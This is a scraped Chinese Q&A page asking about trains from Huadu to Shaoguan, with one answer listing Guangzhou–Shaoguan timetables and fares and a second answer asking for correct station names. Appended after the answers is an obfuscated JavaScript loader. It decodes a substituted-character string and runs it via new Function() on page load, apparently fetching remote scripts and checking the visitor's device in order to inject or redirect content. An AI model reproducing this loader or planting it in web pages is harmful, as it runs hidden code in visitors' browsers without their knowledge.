花都到召关火车11月10号比次

2025-02-27 05:19:47
推荐回答(2个)
回答1:

亲,广州到韶关有高铁52趟,详细的列车时刻表如下:
车次, 始发站, 终点站, 车辆类型, 发站, 发时, 到站, 到时, 里程, 历时, 硬座, 软座, 硬卧中, 软卧下
G280 广州南 济南西 高速动车 广州南 06:42 韶关 07:33 227 00:51 104.5 164.5 - -
G636 广州南 南昌西 高速动车 广州南 06:53 韶关 07:44 227 00:51 104.5 164.5 - -
G1108 广州南 武汉 高速动车 广州南 07:00 韶关 07:51 227 00:51 104.5 164.5 - -
G6102 广州南 长沙南 高速动车 广州南 07:05 韶关 07:56 227 00:51 104.5 164.5 - -
G1002 深圳北 武汉 高速动车 广州南 07:32 韶关 08:23 227 00:51 104.5 164.5 - -
G6012 深圳北 长沙南 高速动车 广州南 08:00 韶关 08:51 227 00:51 104.5 164.5 - -
G682 广州南 太原南 高速动车 广州南 08:05 韶关 08:56 227 00:51 104.5 164.5 - -
G6014 深圳北 长沙南 高速动车 广州南 08:46 韶关 09:37 227 00:51 104.5 164.5 - -
G1114 广州南 武汉 高速动车 广州南 09:10 韶关 10:01 227 00:51 104.5 164.5 - -
G74 深圳北 郑州东 高速动车 广州南 09:26 韶关 10:24 227 00:58 104.5 164.5 - -
G552 广州南 信阳东 高速动车 广州南 09:36 韶关 10:29 227 00:53 104.5 164.5 - -
G542 广州南 郑州东 高速动车 广州南 09:45 韶关 10:43 227 00:58 104.5 164.5 - -
G6106 广州南 长沙南 高速动车 广州南 09:53 韶关 10:55 227 01:02 104.5 164.5 - -
G1006 深圳北 武汉 高速动车 广州南 10:05 韶关 11:03 227 00:58 104.5 164.5 - -
G1116 广州南 武汉 高速动车 广州南 10:34 韶关 11:25 227 00:51 104.5 164.5 - -
G822 深圳北 西安北 高速动车 广州南 10:40 韶关 11:31 227 00:51 104.5 164.5 - -
G1008 深圳北 武汉 高速动车 广州南 10:56 韶关 11:48 227 00:52 104.5 164.5 - -
G1120 广州南 武汉 高速动车 广州南 11:01 韶关 12:00 227 00:59 104.5 164.5 - -
G68 广州南 北京西 高速动车 广州南 11:15 韶关 12:06 227 00:51 104.5 164.5 - -
G6016 深圳北 长沙南 高速动车 广州南 11:24 韶关 12:26 227 01:02 104.5 164.5 - -
G1124 广州南 武汉 高速动车 广州南 11:47 韶关 12:45 227 00:58 104.5 164.5 - -
G1010 深圳北 武汉 高速动车 广州南 11:59 韶关 12:50 227 00:51 104.5 164.5 - -
G80 深圳北 北京西 高速动车 广州南 12:10 韶关 13:08 227 00:58 104.5 164.5 - -
G1126 广州南 武汉 高速动车 广州南 12:16 韶关 13:14 227 00:58 104.5 164.5 - -
G6134 广州南 岳阳东 高速动车 广州南 12:35 韶关 13:26 227 00:51 104.5 164.5 - -
G6018 深圳北 长沙南 高速动车 广州南 12:43 韶关 13:34 227 00:51 104.5 164.5 - -
G70 广州南 北京西 高速动车 广州南 12:50 韶关 13:41 227 00:51 104.5 164.5 - -
G632 广州南 南昌西 高速动车 广州南 13:06 韶关 14:04 227 00:58 104.5 164.5 - -
G1022 深圳北 宜昌东 高速动车 广州南 13:19 韶关 14:10 227 00:51 104.5 164.5 - -
G844 广州南 西安北 高速动车 广州南 13:45 韶关 14:36 227 00:51 104.5 164.5 - -
G1128 深圳北 武汉 高速动车 广州南 13:51 韶关 14:42 227 00:51 104.5 164.5 - -
G546 广州南 郑州 高速动车 广州南 14:08 韶关 14:59 227 00:51 104.5 164.5 - -
G1132 深圳北 武汉 高速动车 广州南 14:14 韶关 15:05 227 00:51 104.5 164.5 - -
G1136 广州南 武汉 高速动车 广州南 14:20 韶关 15:11 227 00:51 104.5 164.5 - -
G1138 广州南 武汉 高速动车 广州南 14:28 韶关 15:30 227 01:02 104.5 164.5 - -
G1142 广州南 武汉 高速动车 广州南 15:26 韶关 16:17 227 00:51 104.5 164.5 - -
G1144 广州南 武汉 高速动车 广州南 15:47 韶关 16:38 227 00:51 104.5 164.5 - -
G1012 深圳北 武汉 高速动车 广州南 15:53 韶关 16:51 227 00:58 104.5 164.5 - -
G6022 深圳北 长沙南 高速动车 广州南 16:11 韶关 17:02 227 00:51 104.5 164.5 - -
G548 广州南 郑州东 高速动车 广州南 16:22 韶关 17:26 227 01:04 104.5 164.5 - -
G1146 广州南 武汉 高速动车 广州南 16:43 韶关 17:34 227 00:51 104.5 164.5 - -
G6114 广州南 长沙南 高速动车 广州南 16:51 韶关 17:49 227 00:58 104.5 164.5 - -
G1150 广州南 武汉 高速动车 广州南 17:30 韶关 18:21 227 00:51 104.5 164.5 - -
G1152 广州南 武汉 高速动车 广州南 17:40 韶关 18:38 227 00:58 104.5 164.5 - -
G6024 深圳北 长沙南 高速动车 广州南 18:04 韶关 18:55 227 00:51 104.5 164.5 - -
G1016 深圳北 武汉 高速动车 广州南 18:17 韶关 19:08 227 00:51 104.5 164.5 - -
G1156 广州南 武汉 高速动车 广州南 18:32 韶关 19:30 227 00:58 104.5 164.5 - -
G1158 广州南 武汉 高速动车 广州南 19:09 韶关 20:00 227 00:51 104.5 164.5 - -
G638 深圳北 南昌西 高速动车 广州南 19:20 韶关 20:11 227 00:51 104.5 164.5 - -
G6120 广州南 长沙南 高速动车 广州南 20:03 韶关 20:54 227 00:51 104.5 164.5 - -
G6028 深圳北 长沙南 高速动车 广州南 20:39 韶关 21:37 227 00:58 104.5 164.5 - -
G6124 广州南 长沙南 高速动车 广州南 21:00 韶关 21:51 227 00:51 104.5 164.5 - -

有动车2趟,详细的列车时刻表如下:
车次, 始发站, 终点站, 车辆类型, 发站, 发时, 到站, 到时, 里程, 历时, 硬座, 软座, 硬卧中, 软卧下
D7802 广州南 长沙南 动车组 广州南 08:22 韶关 10:06 227 01:44 69.5 109.5 - -
D2104 广州南 武汉 动车组 广州南 13:38 韶关 15:36 227 01:58 69.5 109.5 - -

普快广州到韶关东59趟,详细的列车时刻表如下:
车次, 始发站, 终点站, 车辆类型, 发站, 发时, 到站, 到时, 里程, 历时, 硬座, 软座, 硬卧中, 软卧下
K528 广州 南京 空调快速 广州 07:51 韶关东 10:05 221 02:14 37.5 - 88.5 124.5
K9050 肇庆 郴州 空调快速 广州 08:25 韶关东 10:39 221 02:14 37.5 - - -
K1096/K1097 广州 达州 空调快速 广州 08:43 韶关东 10:57 221 02:14 37.5 - 88.5 124.5
K1168/K1169 海口 西安 空调快速 广州 08:50 韶关东 11:04 221 02:14 37.5 - 88.5 124.5
K222/K223 广州 泰州 空调快速 广州 09:02 韶关东 11:22 221 02:20 37.5 - 88.5 124.5
T202 三亚 北京西 空调特快 广州 09:17 韶关东 11:29 221 02:12 37.5 - 88.5 124.5
K767/K770 广州 汉中 空调快速 广州 09:24 韶关东 11:46 221 02:22 37.5 - 88.5 124.5
K1160/K1161 广州 烟台 空调快速 广州 09:50 韶关东 12:04 221 02:14 37.5 - 88.5 124.5
K356/K357 广州 重庆北 空调快速 广州 09:57 韶关东 12:17 221 02:20 37.5 - 88.5 124.5
K1666 广州 赣州 空调快速 广州 10:16 韶关东 12:44 221 02:28 37.5 - 88.5 -
K645/K648 广州 西安 空调快速 广州 10:37 韶关东 12:51 221 02:14 37.5 - 88.5 124.5
K1172/K1173 广州 达州 空调快速 广州 10:44 韶关东 12:58 221 02:14 37.5 - 88.5 124.5
K512 海口 上海南 空调快速 广州 11:02 韶关东 13:17 221 02:15 37.5 - 88.5 124.5
K326/K327 广州 温州 空调快速 广州 11:09 韶关东 13:29 221 02:20 37.5 - 88.5 124.5
T8352 广州 坪石 空调特快 广州 12:53 韶关东 15:24 221 02:31 37.5 - - -
K642/K643 广州 襄阳 空调快速 广州 13:17 韶关东 15:31 221 02:14 37.5 - 88.5 124.5
K1008 广州 信阳 空调快速 广州 13:24 韶关东 15:45 221 02:21 37.5 - 88.5 124.5
K9064/K9065 深圳西 铜仁 快速 广州 13:37 韶关东 16:03 221 02:26 21.5 - 58.5 -
K936/K937 广州东 襄阳 空调快速 广州东 13:50 韶关东 16:21 229 02:31 37.5 - 88.5 124.5
K202/K203 广州 重庆北 空调快速 广州 14:15 韶关东 17:15 221 03:00 37.5 - 88.5 124.5
K597/K600 广州 包头 空调快速 广州 14:22 韶关东 16:36 221 02:14 37.5 - 88.5 124.5
K811/K814 肇庆 重庆 空调快速 广州 14:31 韶关东 16:50 221 02:19 37.5 - 88.5 -
K932/K933 广州东 宜昌东 空调快速 广州东 14:38 韶关东 17:00 229 02:22 37.5 - 88.5 124.5
K192/K193 广州 成都 空调快速 广州 14:39 韶关东 17:42 221 03:03 37.5 - 88.5 124.5
T90 广州 石家庄 空调特快 广州 14:53 韶关东 17:07 221 02:14 37.5 - 88.5 124.5
T170 广州 上海南 空调特快 广州 15:02 韶关东 17:21 221 02:19 37.5 - 88.5 124.5
K210/K211 广州 宁波 空调快速 广州 15:14 韶关东 17:27 221 02:13 37.5 - 88.5 124.5
T8354 广州 坪石 空调特快 广州 15:54 韶关东 18:20 221 02:26 37.5 - - -
K776/K777 广州 重庆北 空调快速 广州 16:07 韶关东 18:56 221 02:49 37.5 - 88.5 124.5
K685/K688 汕头 重庆北 空调快速 广州 16:13 韶关东 18:27 221 02:14 37.5 - 88.5 124.5
K64/K65 广州 贵阳 空调快速 广州 16:41 韶关东 19:02 221 02:21 37.5 - 88.5 124.5
K367/K370 广州 大连 空调快速 广州 17:00 韶关东 19:14 221 02:14 37.5 - 88.5 124.5
K82/K83 广州 西安 空调快速 广州 17:07 韶关东 19:21 221 02:14 37.5 - 88.5 124.5
K9084/K9085 深圳西 邵阳 空调快速 广州 17:15 韶关东 19:40 221 02:25 37.5 - 88.5 131.5
K1296/K1297 广州 银川 空调快速 广州 17:51 韶关东 20:12 221 02:21 37.5 - 88.5 124.5
K949/K952 深圳 桂林 空调快速 广州 18:45 韶关东 20:59 221 02:14 37.5 - 88.5 124.5
K9202 深圳西 岳阳 快速 广州 18:52 韶关东 21:06 221 02:14 37.5 - 88.5 131.5
T254 广州 天津 空调特快 广州 19:08 韶关东 21:20 221 02:12 37.5 - 88.5 124.5
K756/K757 广州 洛阳 空调快速 广州 19:14 韶关东 21:39 221 02:25 37.5 - 88.5 124.5
T96 深圳 汉口 空调特快 广州 19:20 韶关东 21:32 221 02:12 37.5 - 88.5 124.5
T172 广州东 南昌 空调特快 广州东 19:23 韶关东 21:46 229 02:23 37.5 - 88.5 124.5
K9052/K9053 深圳东 怀化 空调快速 广州 19:51 韶关东 22:04 221 02:13 37.5 - 88.5 131.5
T8316/T8317 广州 张家界 空调特快 广州 19:58 韶关东 22:10 221 02:12 37.5 - 88.5 124.5
K238/K239 深圳西 太原 空调快速 广州 20:05 韶关东 22:19 221 02:14 33.5 - 81.5 114.5
K226/K227 广州 兰州 空调快速 广州 20:23 韶关东 22:43 221 02:20 37.5 - 88.5 124.5
K302 广州 徐州 空调快速 广州 20:38 韶关东 22:52 221 02:14 37.5 - 88.5 124.5
T236/T237 广州东 哈尔滨 空调特快 广州东 20:38 韶关东 23:00 229 02:22 37.5 - 88.5 124.5
T180 广州 济南 空调特快 广州 21:06 韶关东 23:18 221 02:12 37.5 - 88.5 124.5
K9076 深圳 常德 空调快速 广州 21:18 韶关东 23:32 221 02:14 37.5 - 88.5 131.5
K9060/K9061 深圳西 怀化 快速 广州 21:30 韶关东 23:43 221 02:13 21.5 - 58.5 -
K9068/K9069 肇庆 张家界 空调快速 广州 21:36 韶关东 23:52 221 02:16 37.5 - 88.5 -
K9078 广州 益阳 空调快速 广州 22:02 韶关东 00:16 221 02:14 37.5 - 88.5 124.5
K1080 肇庆 武昌 空调快速 广州 22:18 韶关东 00:32 221 02:14 37.5 - 88.5 -
K9018 深圳 长沙 空调快速 广州 22:32 韶关东 00:46 221 02:14 37.5 - 88.5 131.5
K436/K437 惠州 武昌 空调快速 广州 22:46 韶关东 00:54 221 02:08 37.5 - 88.5 124.5
K9004 深圳 岳阳 空调快速 广州 23:04 韶关东 01:18 221 02:14 37.5 - 88.5 131.5
K408 海口 长沙 空调快速 广州 23:10 韶关东 01:24 221 02:14 37.5 - 88.5 124.5
T35/T38 广州 乌鲁木齐南 空调特快 广州 23:22 韶关东 01:34 221 02:12 37.5 - 88.5 124.5
K9122 深圳 衡阳 空调快速 广州 23:38 韶关东 01:51 221 02:13 37.5 - 88.5 131.5
以上,请知悉,有不明之处请再追问!

回答2:

请输入正确的车站名称,以方便广大网友解答。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();